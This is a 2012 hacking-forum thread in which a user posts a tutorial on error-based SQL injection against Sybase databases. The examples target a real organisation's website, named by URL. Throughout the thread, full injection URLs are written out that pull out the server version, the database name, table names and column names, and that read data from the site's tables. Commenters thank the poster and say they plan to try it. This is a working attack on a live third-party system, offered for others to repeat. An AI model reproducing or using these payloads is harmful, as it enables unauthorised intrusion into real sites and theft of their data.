

Forum:[Hack Forums](#)

Thread: [Sybase sql injection tutorial](#)

RIPPER - June 9, 2012, 12:29 pm

Heya guys today I will make a small tutorial on error based sybase sql injection(that is its name I guess)

So here we start with a site...am assuming u understand mysql injection

<http://www.okfarmbureau.org/index.php?action=media.newsdetail&rowid=630>

Thanks you -Downfall for the site

put a ' at the end and you will see this

Sybase: Server message: Unclosed quote before the character string ' '

now to get the version:

Quote:PHP Code

<?php

http:
//www.okfarmbureau.org/index.php?action=media.newsdetail&rowid=630+and+1=convert%28integer,@version%29--

so here is the version:

Adaptive Server Enterprise/15.0.1/EBF 13819/P/Sun_svr4/OS 5.8/ase1501/2379/64-bit/FBO/Tue Aug 15 04:20:15 2006

now lets get some tablenamees

Quote:PHP Code

<?php

http:
//www.okfarmbureau.org/index.php?action=media.newsdetail&rowid=630+and+1=convert(integer,(select+min(name)+from+sysobjects where type='U'))--

second table:

Quote:PHP Code

<?php

http:
//www.okfarmbureau.org/index.php?action=media.newsdetail&rowid=630+and+1=convert(integer,(select+min(name)+from+sysobjects where type='U' and name!='boardMembers'))--

basically keep adding and name!='table name that you get'

here I guess i reach the end of the tables

Quote:PHP Code

<?php

http:
//www.okfarmbureau.org/index.php?action=media.newsdetail&rowid=630+and+1=convert(integer,(select+min(name)+from+sysobjects where type='U' and

name!='boardMembers' and name!='events' and name!='galleries' and name!='galleries_photos' and name!='gallery' and name!='gallery_photos' and

name!='newsletters' and name!='newsletters_new' and name!='newsreleases' and name!='offices' and name!='publication_import'and name!='publications' and

name!='publications_new' and name!='radio' and name!='satellites' and name!='titles')) #
time to get columns..We will get the columns of boardMembers

Quote:PHP Code

```
<?php
```

http:
//www.okfarmbureau.org/index.php?action=media.newsdetail&rowid=630+and+1=convert(integer,(select+min(name) from syscolumns where id= (select id from

sysobjects where type='U' and name='gallery')))--

column no.1:

city

getting column 2:

Quote:PHP Code

```
<?php
```

http:
//www.okfarmbureau.org/index.php?action=media.newsdetail&rowid=630+and+1=convert(integer,(select+min(name) from syscolumns where id=

(select id from sysobjects where type='U' and name='gallery') and name!='city'))--

you get my point just add and name!='column name you get'

that is how I know it..If I am wrong at anything please correct me

Shout out to benzi(although I had some quarrels with him) and -Downfall...

Peace

Oh sorry..I would like this to be on sql injection attacks please

Th3PonyWizard - June 9, 2012, 12:38 pm

#1 How to get the database name?

#2 Why do you use convert?

#3 Why do you select the data from syscolumns?

And so on. There are lots of questions that you didn't answered, which is why I think people should not write tutorials if they don't go skin-deep level over their details. Well, thanks anyways!

Ichi - June 9, 2012, 1:07 pm

Pony makes a good point. Not sure if this is your first time making a tutorial, if it is, it's good for a first timer. Even if it isn't, I still commend you for making this tutorial. This is first time this forum has seen a sybase SQLi tut.

Thanks for bringing something new to this section.

Cheers

Dynasty@HF - June 9, 2012, 1:17 pm

wow going to try this when i get back from work. thanks good tut

RIPPER - June 9, 2012, 1:30 pm

thanks for the feedback guys.

this is my second tut and my first one was a total fail

you are welcome to ask more questions

I'll be happy to explain (if I can)

(Jun 9, 2012 12:38 PM)Th3PonyWizad Wrote: [\[CITE\]](#) #1 How to get the database name?

#2 Why do you use convert?

#3 Why do you select the data from syscolumns?

And so on. There are lots of questions that you didn't answered, which is why I think people should not write tutorials if they don't go skin-deep level over their details. Well, thanks anyways!

#1

http://www.okfarmbureau.org/index.php?action=media.newsdetail&rowid=630+and+1=convert%28integer,db_name%28%29%29--

db_name() is the equivalent to database()

#2

union select isnt possible here

<http://www.okfarmbureau.org/index.php?action=media.newsdetail&rowid=630%20union%20select%201,2,3,4>

look at the error

Implicit conversion from datatype 'VARCHAR' to 'INT' is not allowed

usually when I get this here or in aspx injection I use convert() method...I'm not sure if there is a better way

#3

As far as i know syscolumns is the equivalent to information_schema.columns

correct me if I am wrong in sth here...Have a good day..and ask all your questions

BTW would anyone tell me if there is a moderator to contact to put this thread in sql injection attacks or should I copy it and paste it there

faditom - June 9, 2012, 2:28 pm

thanks man

good job

i hope it useful for me

Hunter Kh - June 10, 2012, 6:29 am

good job bro i like it and good luck

RIPPER - June 10, 2012, 6:30 am

(Jun 10, 2012 06:29 AM)youssefbouda Wrote: [\[CITE\]](#) good job bro i like it and good luck thanks a lot mate.hope you learned something

Error667 - June 18, 2012, 9:00 am

Happy to see there're some new HQ tuts here.
Regards,

Toph Beifong - June 18, 2012, 9:02 am

haven't come across this method before, gonna look into it more. Thanks.

RIPPER - June 18, 2012, 9:02 am

(Jun 18, 2012 09:00 AM)Zyklon B Wrote: [\[CITE\]](#) Happy to see there're some new HQ tuts here.
Regards,
Thanks a lot mate...Glad you like this tut

Ashutosh.panda - June 21, 2012, 10:58 pm

nice titorial and
plz explain how to extract information after getting table names and column names

sl4sh3rz - June 21, 2012, 11:04 pm

good tutorial brother,, all bookmark your thread :)) ,,

Ashutosh.panda - June 21, 2012, 11:36 pm

please explain how to extract information after getting table name and column name

RIPPER - June 21, 2012, 11:55 pm

(Jun 21, 2012 11:36 PM)Ashutosh.panda Wrote: [\[CITE\]](#) please explain how to extract information after getting table name and column name

This is an example for you
PHP Code

```
<?php
```

http:
//www.okfarmbureau.org/index.php?action=media.newsdetail&rowid=630+and+1=convert%28integer,%28select+min%28thefile%29%20from%20newsletters%29%29--

NIIGHT HAWKE - June 22, 2012, 3:10 am

Nice tutorial sir , thankx a lot sir :)

Injector - June 22, 2012, 4:19 am

Thank you forthis tut,
Im going to try it.

RIPPER - June 22, 2012, 4:33 am

Glad you liked it guys...I will do another tut about something else when I have time

NIIGHT HAWKE - June 22, 2012, 5:40 am

Ok sir , waiting for your another tutorial :')

Light Yagami. - October 21, 2012, 4:20 am

nice tut bro i am still having problems understanding it

razem - October 21, 2012, 7:07 pm

Code

```
http://www.okfarmbureau.org/index.php?action=media.newsdetail&rowid=630+and+1=convert(integer,(select+min(name) from syscolumns where id=(select id from sysobjects where type='U' and name='gallery')))--
```

I am trying to get columns, but the vector isn't working for me...

[img]http://emoticons4u.com/sad/171.gif [/img]

Any help?

Coder-In-Train1ng - *October 21, 2012, 11:31 pm*

Omg thanks so much!

this got me a huge boost!

+1 vouch!

Whitedragon - *June 7, 2013, 11:51 am*

Seems great, this method. Thank you for sharing it!

b3mb4m1 - *August 24, 2013, 7:56 am*

what a hell codes ;D my brain error after 10h lol xD

Kashmiri Hunter - *May 24, 2016, 2:19 am*

New For Me .. THanks For Sharing